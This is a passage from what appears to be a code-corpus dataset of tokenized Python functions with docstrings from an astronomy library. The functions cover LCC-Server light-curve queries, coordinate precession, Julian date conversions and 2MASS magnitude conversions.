an\n        LCC-Server account and an API key tied to that account.\n\n    collections : list of str or None\n        This is a list of LC collections to search in. If this is None, all\n        collections will be searched.\n\n    columns : list of str or None\n        This is a list of columns to return in the results. Matching objects'\n        object IDs, RAs, DECs, and links to light curve files will always be\n        returned so there is no need to specify these columns. If None, only\n        these columns will be returned: 'objectid', 'ra', 'decl', 'lcfname'\n\n    filters : str or None\n        This is an SQL-like string to use to filter on database columns in the\n        LCC-Server's collections. To see the columns available for a search,\n        visit the Collections tab in the LCC-Server's browser UI. The filter\n        operators allowed are::\n\n            lt      -> less than\n            gt      -> greater than\n            ge      -> greater than or equal to\n            le      -> less than or equal to\n            eq      -> equal to\n            ne      -> not equal to\n            ct      -> contains text\n            isnull  -> column value is null\n            notnull -> column value is not null\n\n        You may use the `and` and `or` operators between filter specifications\n        to chain them together logically.\n\n        Example filter strings::\n\n            \"(propermotion gt 200.0) and (sdssr lt 11.0)\"\n            \"(dered_jmag_kmag gt 2.0) and (aep_000_stetsonj gt 10.0)\"\n            \"(gaia_status ct 'ok') and (propermotion gt 300.0)\"\n            \"(simbad_best_objtype ct 'RR') and (dered_sdssu_sdssg lt 0.5)\"\n\n    sortspec : tuple of two strs or None\n        If not None, this should be a tuple of two items::\n\n            ('column to sort by', 'asc|desc')\n\n        This sets the column to sort the results by. For cone_search, the\n        default column and sort order are 'dist_arcsec' and 'asc', meaning the\n        distance from the search center in ascending order.\n\n    samplespec : int or None\n        If this is an int, will indicate how many rows from the initial search\n        result will be uniformly random sampled and returned.\n\n    limitspec : int or None\n        If this is an int, will indicate how many rows from the initial search\n        result to return in total.\n\n        `sortspec`, `samplespec`, and `limitspec` are applied in this order:\n\n            sample -> sort -> limit\n\n    download_data : bool\n        This sets if the accompanying data from the search results will be\n        downloaded automatically. This includes the data table CSV, the dataset\n        pickle file, and a light curve ZIP file. Note that if the search service\n        indicates that your query is still in progress, this function will block\n        until the light curve ZIP file becomes available. The maximum wait time\n        in seconds is set by maxtimeout and the refresh interval is set by\n        refresh.\n\n        To avoid the wait block, set download_data to False and the function\n        will write a pickle file to `~/.astrobase/lccs/query-[setid].pkl`\n        containing all the information necessary to retrieve these data files\n        later when the query is done. To do so, call the\n        `retrieve_dataset_files` with the path to this pickle file (it will be\n        returned).\n\n    outdir : str or None\n        If this is provided, sets the output directory of the downloaded dataset\n        files. If None, they will be downloaded to the current directory.\n\n    maxtimeout : float\n        The maximum time in seconds to wait for the LCC-Server to respond with a\n        result before timing out. You can use the `retrieve_dataset_files`\n        function to get results later as needed.\n\n    refresh : float\n        The time to wait in seconds before pinging the LCC-Server to see if a\n        search query has completed and dataset result files can be downloaded.\n\n    Returns\n    -------\n\n    tuple\n        Returns a tuple with the following elements::\n\n            (search result status dict,\n             search result CSV file path,\n             search result LC ZIP path)", "id": "f14753:m8"}
{"signature": "def get_dataset(lcc_server,<EOL>dataset_id,<EOL>strformat=False,<EOL>page=<NUM_LIT:1>):", "body": "urlparams = {'<STR_LIT>':<NUM_LIT:1> if strformat else <NUM_LIT:0>,<EOL>'<STR_LIT>':page,<EOL>'<STR_LIT>':<NUM_LIT:1>}<EOL>urlqs = urlencode(urlparams)<EOL>dataset_url = '<STR_LIT>' % (lcc_server, dataset_id, urlqs)<EOL>LOGINFO('<STR_LIT>' % (lcc_server,<EOL>dataset_id,<EOL>dataset_url))<EOL>try:<EOL><INDENT>have_apikey, apikey, expires = check_existing_apikey(lcc_server)<EOL>if not have_apikey:<EOL><INDENT>apikey, expires = get_new_apikey(lcc_server)<EOL><DEDENT>if apikey:<EOL><INDENT>headers = {'<STR_LIT>':'<STR_LIT>' % apikey}<EOL><DEDENT>else:<EOL><INDENT>headers = {}<EOL><DEDENT>req = Request(dataset_url, data=None, headers=headers)<EOL>resp = urlopen(req)<EOL>dataset = json.loads(resp.read())<EOL>return dataset<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "This downloads a JSON form of a dataset from the specified lcc_server.\n\n    If the dataset contains more than 1000 rows, it will be paginated, so you\n    must use the `page` kwarg to get the page you want. The dataset JSON will\n    contain the keys 'npages', 'currpage', and 'rows_per_page' to help with\n    this. The 'rows' key contains the actual data rows as a list of tuples.\n\n    The JSON contains metadata about the query that produced the dataset,\n    information about the data table's columns, and links to download the\n    dataset's products including the light curve ZIP and the dataset CSV.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        This is the base URL of the LCC-Server to talk to.\n\n    dataset_id : str\n        This is the unique setid of the dataset you want to get. In the results\n        from the `*_search` functions above, this is the value of the\n        `infodict['result']['setid']` key in the first item (the infodict) in\n        the returned tuple.\n\n    strformat : bool\n        This sets if you want the returned data rows to be formatted in their\n        string representations already. This can be useful if you're piping the\n        returned JSON straight into some sort of UI and you don't want to deal\n        with formatting floats, etc. To do this manually when strformat is set\n        to False, look at the `coldesc` item in the returned dict, which gives\n        the Python and Numpy string format specifiers for each column in the\n        data table.\n\n    page : int\n        This sets which page of the dataset should be retrieved.\n\n    Returns\n    -------\n\n    dict\n        This returns the dataset JSON loaded into a dict.", "id": "f14753:m9"}
{"signature": "def object_info(lcc_server, objectid, db_collection_id):", "body": "urlparams = {<EOL>'<STR_LIT>':objectid,<EOL>'<STR_LIT>':db_collection_id<EOL>}<EOL>urlqs = urlencode(urlparams)<EOL>url = '<STR_LIT>' % (lcc_server, urlqs)<EOL>try:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' % (<EOL>objectid,<EOL>db_collection_id,<EOL>lcc_server<EOL>)<EOL>)<EOL>have_apikey, apikey, expires = check_existing_apikey(lcc_server)<EOL>if not have_apikey:<EOL><INDENT>apikey, expires = get_new_apikey(lcc_server)<EOL><DEDENT>if apikey:<EOL><INDENT>headers = {'<STR_LIT>':'<STR_LIT>' % apikey}<EOL><DEDENT>else:<EOL><INDENT>headers = {}<EOL><DEDENT>req = Request(url, data=None, headers=headers)<EOL>resp = urlopen(req)<EOL>objectinfo = json.loads(resp.read())['<STR_LIT:result>']<EOL>return objectinfo<EOL><DEDENT>except HTTPError as e:<EOL><INDENT>if e.code == <NUM_LIT>:<EOL><INDENT>LOGERROR(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (objectid,<EOL>db_collection_id)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(url, e.code, e.reason))<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This gets information on a single object from the LCC-Server.\n\n    Returns a dict with all of the available information on an object, including\n    finding charts, comments, object type and variability tags, and\n    period-search results (if available).\n\n    If you have an LCC-Server API key present in `~/.astrobase/lccs/` that is\n    associated with an LCC-Server user account, objects that are visible to this\n    user will be returned, even if they are not visible to the public. Use this\n    to look up objects that have been marked as 'private' or 'shared'.\n\n    NOTE: you can pass the result dict returned by this function directly into\n    the `astrobase.checkplot.checkplot_pickle_to_png` function, e.g.::\n\n        astrobase.checkplot.checkplot_pickle_to_png(result_dict,\n                                                    'object-%s-info.png' %\n                                                    result_dict['objectid'])\n\n    to generate a quick PNG overview of the object information.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        This is the base URL of the LCC-Server to talk to.\n\n    objectid : str\n        This is the unique database ID of the object to retrieve info for. This\n        is always returned as the `db_oid` column in LCC-Server search results.\n\n    db_collection_id : str\n        This is the collection ID which will be searched for the object. This is\n        always returned as the `collection` column in LCC-Server search results.\n\n    Returns\n    -------\n\n    dict\n        A dict containing the object info is returned. Some important items in\n        the result dict:\n\n        - `objectinfo`: all object magnitude, color, GAIA cross-match, and\n          object type information available for this object\n\n        - `objectcomments`: comments on the object's variability if available\n\n        - `varinfo`: variability comments, variability features, type tags,\n          period and epoch information if available\n\n        - `neighbors`: information on the neighboring objects of this object in\n          its parent light curve collection\n\n        - `xmatch`: information on any cross-matches to external catalogs\n          (e.g. KIC, EPIC, TIC, APOGEE, etc.)\n\n        - `finderchart`: a base-64 encoded PNG image of the object's DSS2 RED\n          finder chart. To convert this to an actual PNG, try the function:\n          `astrobase.checkplot.pkl_io._b64_to_file`.\n\n        - `magseries`: a base-64 encoded PNG image of the object's light\n          curve. To convert this to an actual PNG, try the function:\n          `astrobase.checkplot.pkl_io._b64_to_file`.\n\n        - `pfmethods`: a list of period-finding methods applied to the object if\n          any. If this list is present, use the keys in it to get to the actual\n          period-finding results for each method. These will contain base-64\n          encoded PNGs of the periodogram and phased light curves using the best\n          three peaks in the periodogram, as well as period and epoch\n          information.", "id": "f14753:m10"}
{"signature": "def list_recent_datasets(lcc_server, nrecent=<NUM_LIT>):", "body": "urlparams = {'<STR_LIT>':nrecent}<EOL>urlqs = urlencode(urlparams)<EOL>url = '<STR_LIT>' % (lcc_server, urlqs)<EOL>try:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (<EOL>lcc_server,<EOL>)<EOL>)<EOL>have_apikey, apikey, expires = check_existing_apikey(lcc_server)<EOL>if not have_apikey:<EOL><INDENT>apikey, expires = get_new_apikey(lcc_server)<EOL><DEDENT>if apikey:<EOL><INDENT>headers = {'<STR_LIT>':'<STR_LIT>' % apikey}<EOL><DEDENT>else:<EOL><INDENT>headers = {}<EOL><DEDENT>req = Request(url, data=None, headers=headers)<EOL>resp = urlopen(req)<EOL>recent_datasets = json.loads(resp.read())['<STR_LIT:result>']<EOL>return recent_datasets<EOL><DEDENT>except HTTPError as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(url, e.code, e.reason))<EOL>return None<EOL><DEDENT>", "docstring": "This lists recent publicly visible datasets available on the LCC-Server.\n\n    If you have an LCC-Server API key present in `~/.astrobase/lccs/` that is\n    associated with an LCC-Server user account, datasets that belong to this\n    user will be returned as well, even if they are not visible to the public.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        This is the base URL of the LCC-Server to talk to.\n\n    nrecent : int\n        This indicates how many recent public datasets you want to list. This is\n        always capped at 1000.\n\n    Returns\n    -------\n\n    list of dicts\n        Returns a list of dicts, with each dict containing info on each dataset.", "id": "f14753:m11"}
{"signature": "def list_lc_collections(lcc_server):", "body": "url = '<STR_LIT>' % lcc_server<EOL>try:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (<EOL>lcc_server,<EOL>)<EOL>)<EOL>have_apikey, apikey, expires = check_existing_apikey(lcc_server)<EOL>if not have_apikey:<EOL><INDENT>apikey, expires = get_new_apikey(lcc_server)<EOL><DEDENT>if apikey:<EOL><INDENT>headers = {'<STR_LIT>':'<STR_LIT>' % apikey}<EOL><DEDENT>else:<EOL><INDENT>headers = {}<EOL><DEDENT>req = Request(url, data=None, headers=headers)<EOL>resp = urlopen(req)<EOL>lcc_list = json.loads(resp.read())['<STR_LIT:result>']['<STR_LIT>']<EOL>return lcc_list<EOL><DEDENT>except HTTPError as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(url, e.code, e.reason))<EOL>return None<EOL><DEDENT>", "docstring": "This lists all light curve collections made available on the LCC-Server.\n\n    If you have an LCC-Server API key present in `~/.astrobase/lccs/` that is\n    associated with an LCC-Server user account, light curve collections visible\n    to this user will be returned as well, even if they are not visible to the\n    public.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        The base URL of the LCC-Server to talk to.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict containing lists of info items per collection. This\n        includes collection_ids, lists of columns, lists of indexed columns,\n        lists of full-text indexed columns, detailed column descriptions, number\n        of objects in each collection, collection sky coverage, etc.", "id": "f14753:m12"}
{"signature": "def precess_coordinates(ra, dec,<EOL>epoch_one, epoch_two,<EOL>jd=None,<EOL>mu_ra=<NUM_LIT:0.0>,<EOL>mu_dec=<NUM_LIT:0.0>,<EOL>outscalar=False):", "body": "raproc, decproc = np.radians(ra), np.radians(dec)<EOL>if ((mu_ra != <NUM_LIT:0.0>) and (mu_dec != <NUM_LIT:0.0>) and jd):<EOL><INDENT>jd_epoch_one = JD2000 + (epoch_one - epoch_two)*<NUM_LIT><EOL>raproc = (<EOL>raproc +<EOL>(jd - jd_epoch_one)*mu_ra*MAS_P_YR_TO_RAD_P_DAY/np.cos(decproc)<EOL>)<EOL>decproc = decproc + (jd - jd_epoch_one)*mu_dec*MAS_P_YR_TO_RAD_P_DAY<EOL><DEDENT>ca = np.cos(raproc)<EOL>cd = np.cos(decproc)<EOL>sa = np.sin(raproc)<EOL>sd = np.sin(decproc)<EOL>if epoch_one != epoch_two:<EOL><INDENT>t1 = <NUM_LIT> * (epoch_two - epoch_one)<EOL>t2 = <NUM_LIT> * (epoch_one - <NUM_LIT>)<EOL>a = ( t1*ARCSEC_TO_RADIANS * (<NUM_LIT> + t2*(<NUM_LIT> + <NUM_LIT>*t2) +<EOL>t1*(<NUM_LIT> - <NUM_LIT>*t2+<NUM_LIT>*t1)) )<EOL>b = t1*t1*ARCSEC_TO_RADIANS*(<NUM_LIT> + <NUM_LIT>*t2 + <NUM_LIT>*t1) + a<EOL>c = (<EOL>ARCSEC_TO_RADIANS*t1*(<NUM_LIT> - t2*(<NUM_LIT> + <NUM_LIT>*t2) +<EOL>t1*(-<NUM_LIT> - <NUM_LIT>*t2 - <NUM_LIT>*t2))<EOL>)<EOL>sina, sinb, sinc = np.sin(a), np.sin(b), np.sin(c)<EOL>cosa, cosb, cosc = np.cos(a), np.cos(b), np.cos(c)<EOL>precmatrix = np.matrix([[cosa*cosb*cosc - sina*sinb,<EOL>sina*cosb + cosa*sinb*cosc,<EOL>cosa*sinc],<EOL>[-cosa*sinb - sina*cosb*cosc,<EOL>cosa*cosb - sina*sinb*cosc,<EOL>-sina*sinc],<EOL>[-cosb*sinc,<EOL>-sinb*sinc,<EOL>cosc]])<EOL>precmatrix = precmatrix.transpose()<EOL>x = (np.matrix([cd*ca, cd*sa, sd])).transpose()<EOL>x2 = precmatrix * x<EOL>outra = np.arctan2(x2[<NUM_LIT:1>],x2[<NUM_LIT:0>])<EOL>outdec = np.arcsin(x2[<NUM_LIT:2>])<EOL>outradeg = np.rad2deg(outra)<EOL>outdecdeg = np.rad2deg(outdec)<EOL>if outradeg < <NUM_LIT:0.0>:<EOL><INDENT>outradeg = outradeg + <NUM_LIT><EOL><DEDENT>if outscalar:<EOL><INDENT>return float(outradeg), float(outdecdeg)<EOL><DEDENT>else:<EOL><INDENT>return outradeg, outdecdeg<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return np.degrees(raproc), np.degrees(decproc)<EOL><DEDENT>", "docstring": "Precesses target coordinates `ra`, `dec` from `epoch_one` to `epoch_two`.\n\n    This takes into account the jd of the observations, as well as the proper\n    motion of the target mu_ra, mu_dec. Adapted from J. D. Hartman's\n    VARTOOLS/converttime.c [coordprecess].\n\n    Parameters\n    ----------\n\n    ra,dec : float\n        The equatorial coordinates of the object at `epoch_one` to precess in\n        decimal degrees.\n\n    epoch_one : float\n        Origin epoch to precess from to target epoch. This is a float, like:\n        1985.0, 2000.0, etc.\n\n    epoch_two : float\n        Target epoch to precess from origin epoch. This is a float, like:\n        2000.0, 2018.0, etc.\n\n    jd : float\n        The full Julian date to use along with the propermotions in `mu_ra`, and\n        `mu_dec` to handle proper motion along with the coordinate frame\n        precession. If one of `jd`, `mu_ra`, or `mu_dec` is missing, the proper\n        motion will not be used to calculate the final precessed coordinates.\n\n    mu_ra,mu_dec : float\n        The proper motion in mas/yr in right ascension and declination. If these\n        are provided along with `jd`, the total proper motion of the object will\n        be taken into account to calculate the final precessed coordinates.\n\n    outscalar : bool\n        If True, converts the output coordinates from one-element np.arrays to\n        scalars.\n\n    Returns\n    -------\n\n    precessed_ra, precessed_dec : float\n        A tuple of precessed equatorial coordinates in decimal degrees at\n        `epoch_two` taking into account proper motion if `jd`, `mu_ra`, and\n        `mu_dec` are provided.", "id": "f14754:m0"}
{"signature": "def _single_true(iterable):", "body": "<EOL>iterator = iter(iterable)<EOL>has_true = any(iterator)<EOL>has_another_true = any(iterator)<EOL>return has_true and not has_another_true<EOL>", "docstring": "This returns True if only one True-ish element exists in `iterable`.\n\n    Parameters\n    ----------\n\n    iterable : iterable\n\n    Returns\n    -------\n\n    bool\n        True if only one True-ish element exists in `iterable`. False otherwise.", "id": "f14754:m1"}
{"signature": "def get_epochs_given_midtimes_and_period(<EOL>t_mid,<EOL>period,<EOL>err_t_mid=None,<EOL>t0_fixed=None,<EOL>t0_percentile=None,<EOL>verbose=False<EOL>):", "body": "kwargarr = np.array([isinstance(err_t_mid,np.ndarray),<EOL>t0_fixed,<EOL>t0_percentile])<EOL>if not _single_true(kwargarr) and not np.all(~kwargarr.astype(bool)):<EOL><INDENT>raise AssertionError(<EOL>'<STR_LIT>')<EOL><DEDENT>t_mid = t_mid[np.isfinite(t_mid)]<EOL>N_midtimes = len(t_mid)<EOL>if t0_fixed:<EOL><INDENT>t0 = t0_fixed<EOL><DEDENT>elif isinstance(err_t_mid,np.ndarray):<EOL><INDENT>t0_avg = np.average(t_mid, weights=<NUM_LIT:1>/err_t_mid**<NUM_LIT:2>)<EOL>t0_options = np.arange(min(t_mid), max(t_mid)+period, period)<EOL>t0 = t0_options[np.argmin(np.abs(t0_options - t0_avg))]<EOL><DEDENT>else:<EOL><INDENT>if not t0_percentile:<EOL><INDENT>if N_midtimes % <NUM_LIT:2> == <NUM_LIT:1>:<EOL><INDENT>t0 = np.median(t_mid)<EOL><DEDENT>else:<EOL><INDENT>t0 = t_mid[int(N_midtimes/<NUM_LIT:2>)]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>t0 = np.sort(t_mid)[int(N_midtimes*t0_percentile/<NUM_LIT:100>)]<EOL><DEDENT><DEDENT>epoch = (t_mid - t0)/period<EOL>int_epoch = np.round(epoch, <NUM_LIT:0>)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>LOGINFO('<STR_LIT>'.format(repr(epoch)))<EOL>LOGINFO('<STR_LIT>')<EOL>LOGINFO('<STR_LIT>'.format(repr(int_epoch)))<EOL><DEDENT>return int_epoch, t0<EOL>", "docstring": "This calculates the future epochs for a transit, given a period and a\n    starting epoch\n\n    The equation used is::\n\n        t_mid = period*epoch + t0\n\n    Default behavior if no kwargs are used is to define `t0` as the median\n    finite time of the passed `t_mid` array.\n\n    Only one of `err_t_mid` or `t0_fixed` should be passed.\n\n    Parameters\n    ----------\n\n    t_mid : np.array\n        A np.array of transit mid-time measurements\n\n    period : float\n        The period used to calculate epochs, per the equation above. For typical\n        use cases, a period precise to ~1e-5 days is sufficient to get correct\n        epochs.\n\n    err_t_mid : None or np.array\n        If provided, contains the errors of the transit mid-time\n        measurements. The zero-point epoch is then set equal to the average of\n        the transit times, weighted as `1/err_t_mid^2` . This minimizes the\n        covariance between the transit epoch and the period (e.g., Gibson et\n        al. 2013). For standard O-C analysis this is the best method.\n\n    t0_fixed : None or float:\n        If provided, use this t0 as the starting epoch. (Overrides all others).\n\n    t0_percentile : None or float\n        If provided, use this percentile of `t_mid` to define `t0`.\n\n    Returns\n    -------\n\n    tuple\n        This is the of the form `(integer_epoch_array, t0)`.\n        `integer_epoch_array` is an array of integer epochs (float-type),\n        of length equal to the number of *finite* mid-times passed.", "id": "f14754:m2"}
{"signature": "def unixtime_to_jd(unix_time):", "body": "<EOL>jdutc = astime.Time(unix_time, format='<STR_LIT>', scale='<STR_LIT>')<EOL>return jdutc.jd<EOL>", "docstring": "This converts UNIX time in seconds to a Julian date in UTC (JD_UTC).\n\n    Parameters\n    ----------\n\n    unix_time : float\n        A UNIX time in decimal seconds since the 1970 UNIX epoch.\n\n    Returns\n    -------\n\n    jd : float\n        The Julian date corresponding to the provided UNIX time.", "id": "f14754:m3"}
{"signature": "def datetime_to_jd(dt):", "body": "jdutc = astime.Time(dt, format='<STR_LIT>',scale='<STR_LIT>')<EOL>return jdutc.jd<EOL>", "docstring": "This converts a Python datetime object (naive, time in UT) to JD_UTC.\n\n    Parameters\n    ----------\n\n    dt : datetime\n        A naive Python `datetime` object (e.g. with no tz attribute) measured at\n        UTC.\n\n    Returns\n    -------\n\n    jd : float\n        The Julian date corresponding to the `datetime` object.", "id": "f14754:m4"}
{"signature": "def jd_to_datetime(jd, returniso=False):", "body": "tt = astime.Time(jd, format='<STR_LIT>', scale='<STR_LIT>')<EOL>if returniso:<EOL><INDENT>return tt.iso<EOL><DEDENT>else:<EOL><INDENT>return tt.datetime<EOL><DEDENT>", "docstring": "This converts a UTC JD to a Python `datetime` object or ISO date string.\n\n    Parameters\n    ----------\n\n    jd : float\n        The Julian date measured at UTC.\n\n    returniso : bool\n        If False, returns a naive Python `datetime` object corresponding to\n        `jd`. If True, returns the ISO format string corresponding to the date\n        and time at UTC from `jd`.\n\n    Returns\n    -------\n\n    datetime or str\n        Depending on the value of `returniso`.", "id": "f14754:m5"}
{"signature": "def jd_now():", "body": "return astime.Time.now().jd<EOL>", "docstring": "Gets the Julian date at the current time.\n\nReturns\n-------\n\nfloat\n    The current Julian date in days.", "id": "f14754:m6"}
{"signature": "def jd_to_mjd(jd):", "body": "return jd - <NUM_LIT><EOL>", "docstring": "Converts Julian Date to Modified Julian Date.\n\nParameters\n----------\n\njd : float\n    The Julian date measured at UTC.\n\nReturns\n-------\n\nmjd : float\n    `mjd = jd - 2400000.5`", "id": "f14754:m7"}
{"signature": "def mjd_to_jd(mjd):", "body": "return mjd + <NUM_LIT><EOL>", "docstring": "Converts Modified Julian date to Julian Date.\n\nParameters\n----------\n\nmjd : float\n    The Modified Julian date measured at UTC.\n\nReturns\n-------\n\njd : float\n    `jd = mjd + 2400000.5`", "id": "f14754:m8"}
{"signature": "def jd_corr(jd,<EOL>ra, dec,<EOL>obslon=None,<EOL>obslat=None,<EOL>obsalt=None,<EOL>jd_type='<STR_LIT>'):", "body": "if not HAVEKERNEL:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return<EOL><DEDENT>rarad = np.radians(ra)<EOL>decrad = np.radians(dec)<EOL>cosra = np.cos(rarad)<EOL>sinra = np.sin(rarad)<EOL>cosdec = np.cos(decrad)<EOL>sindec = np.sin(decrad)<EOL>src_unitvector = np.array([cosdec*cosra,cosdec*sinra,sindec])<EOL>if (obslon is None) or (obslat is None) or (obsalt is None):<EOL><INDENT>t = astime.Time(jd, scale='<STR_LIT>', format='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>t = astime.Time(jd, scale='<STR_LIT>', format='<STR_LIT>',<EOL>location=('<STR_LIT>' % obslon,<EOL>'<STR_LIT>' % obslat,<EOL>obsalt))<EOL><DEDENT>barycenter_earthmoon = jplkernel[<NUM_LIT:0>,<NUM_LIT:3>].compute(t.tdb.jd)<EOL>moonvector = (jplkernel[<NUM_LIT:3>,<NUM_LIT>].compute(t.tdb.jd) -<EOL>jplkernel[<NUM_LIT:3>,<NUM_LIT>].compute(t.tdb.jd))<EOL>pos_earth = (barycenter_earthmoon - moonvector * <NUM_LIT:1.0>/(<NUM_LIT:1.0>+EMRAT))<EOL>if jd_type == '<STR_LIT>':<EOL><INDENT>correction_seconds = np.dot(pos_earth.T, src_unitvector)/CLIGHT_KPS<EOL>correction_days = correction_seconds/SEC_P_DAY<EOL><DEDENT>elif jd_type == '<STR_LIT>':<EOL><INDENT>pos_sun = jplkernel[<NUM_LIT:0>,<NUM_LIT:10>].compute(t.tdb.jd)<EOL>sun_earth_vec = pos_earth - pos_sun<EOL>correction_seconds = np.dot(sun_earth_vec.T, src_unitvector)/CLIGHT_KPS<EOL>correction_days = correction_seconds/SEC_P_DAY<EOL><DEDENT>new_jd = t.tdb.jd + correction_days<EOL>return new_jd<EOL>", "docstring": "Returns BJD_TDB or HJD_TDB for input JD_UTC.\n\n    The equation used is::\n\n        BJD_TDB = JD_UTC + JD_to_TDB_corr + romer_delay\n\n    where:\n\n    - JD_to_TDB_corr is the difference between UTC and TDB JDs\n    - romer_delay is the delay caused by finite speed of light from Earth-Sun\n\n    This is based on the code at:\n\n    https://mail.scipy.org/pipermail/astropy/2014-April/003148.html\n\n    Note that this does not correct for:\n\n    1. precession of coordinates if the epoch is not 2000.0\n    2. precession of coordinates if the target has a proper motion\n    3. Shapiro delay\n    4. Einstein delay\n\n    Parameters\n    ----------\n\n    jd : float or array-like\n        The Julian date(s) measured at UTC.\n\n    ra,dec : float\n        The equatorial coordinates of the object in decimal degrees.\n\n    obslon,obslat,obsalt : float or None\n        The longitude, latitude of the observatory in decimal degrees and\n        altitude of the observatory in meters. If these are not provided, the\n        corrected JD will be calculated with respect to the center of the Earth.\n\n    jd_type : {'bjd','hjd'}\n        Conversion type to perform, either to Baryocentric Julian Date ('bjd')\n        or to Heliocenter Julian Date ('hjd').\n\n    Returns\n    -------\n\n    float or np.array\n        The converted BJD or HJD.", "id": "f14754:m9"}
{"signature": "def convert_constants(jmag, hmag, kmag,<EOL>cjhk,<EOL>cjh, cjk, chk,<EOL>cj, ch, ck):", "body": "if jmag is not None:<EOL><INDENT>if hmag is not None:<EOL><INDENT>if kmag is not None:<EOL><INDENT>return cjhk[<NUM_LIT:0>] + cjhk[<NUM_LIT:1>]*jmag + cjhk[<NUM_LIT:2>]*hmag + cjhk[<NUM_LIT:3>]*kmag<EOL><DEDENT>else:<EOL><INDENT>return cjh[<NUM_LIT:0>] + cjh[<NUM_LIT:1>]*jmag + cjh[<NUM_LIT:2>]*hmag<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if kmag is not None:<EOL><INDENT>return cjk[<NUM_LIT:0>] + cjk[<NUM_LIT:1>]*jmag + cjk[<NUM_LIT:2>]*kmag<EOL><DEDENT>else:<EOL><INDENT>return cj[<NUM_LIT:0>] + cj[<NUM_LIT:1>]*jmag<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if hmag is not None:<EOL><INDENT>if kmag is not None:<EOL><INDENT>return chk[<NUM_LIT:0>] + chk[<NUM_LIT:1>]*hmag + chk[<NUM_LIT:2>]*kmag<EOL><DEDENT>else:<EOL><INDENT>return ch[<NUM_LIT:0>] + ch[<NUM_LIT:1>]*hmag<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if kmag is not None:<EOL><INDENT>return ck[<NUM_LIT:0>] + ck[<NUM_LIT:1>]*kmag<EOL><DEDENT>else:<EOL><INDENT>return np.nan<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "This converts between JHK and BVRI/SDSS mags.\n\n    Not meant to be used directly. See the functions below for more sensible\n    interface. This function does the grunt work of converting from JHK to\n    either BVRI or SDSS ugriz. while taking care of missing values for any of\n    jmag, hmag, or kmag.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags to use to convert.\n\n    cjhk,cjh,cjk,chk,cj,ch,ck : lists\n        Constants to use when converting.\n\n    Returns\n    -------\n\n    float\n        The converted magnitude in SDSS or BVRI system.", "id": "f14755:m0"}
{"signature": "def jhk_to_bmag(jmag, hmag, kmag):", "body": "return convert_constants(jmag,hmag,kmag,<EOL>BJHK,<EOL>BJH, BJK, BHK,<EOL>BJ, BH, BK)<EOL>", "docstring": "Converts given J, H, Ks mags to a B magnitude value.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags of the object.\n\n    Returns\n    -------\n\n    float\n        The converted B band magnitude.", "id": "f14755:m1"}
{"signature": "def jhk_to_vmag(jmag,hmag,kmag):", "body": "return convert_constants(jmag,hmag,kmag,<EOL>VJHK,<EOL>VJH, VJK, VHK,<EOL>VJ, VH, VK)<EOL>", "docstring": "Converts given J, H, Ks mags to a V magnitude value.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags of the object.\n\n    Returns\n    -------\n\n    float\n        The converted V band magnitude.", "id": "f14755:m2"}
{"signature": "def jhk_to_rmag(jmag,hmag,kmag):", "body": "return convert_constants(jmag,hmag,kmag,<EOL>RJHK,<EOL>RJH, RJK, RHK,<EOL>RJ, RH, RK)<EOL>", "docstring": "Converts given J, H, Ks mags to an R magnitude value.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags of the object.\n\n    Returns\n    -------\n\n    float\n        The converted R band magnitude.", "id": "f14755:m3"}
{"signature": "def jhk_to_imag(jmag,hmag,kmag):", "body": "return convert_constants(jmag,hmag,kmag,<EOL>IJHK,<EOL>IJH, IJK, IHK,<EOL>IJ, IH, IK)<EOL>", "docstring": "Converts given J, H, Ks mags to an I magnitude value.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags of the object.\n\n    Returns\n    -------\n\n    float\n        The converted I band magnitude.", "id": "f14755:m4"}
{"signature": "def jhk_to_sdssu(jmag,hmag,kmag):", "body": "return convert_constants(jmag,hmag,kmag,<EOL>SDSSU_JHK,<EOL>SDSSU_JH, SDSSU_JK, SDSSU_HK,<EOL>SDSSU_J, SDSSU_H, SDSSU_K)<EOL>", "docstring": "Converts given J, H, Ks mags to an SDSS u magnitude value.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags of the object.\n\n    Returns\n    -------\n\n    float\n        The converted SDSS u band magnitude.", "id": "f14755:m5"}
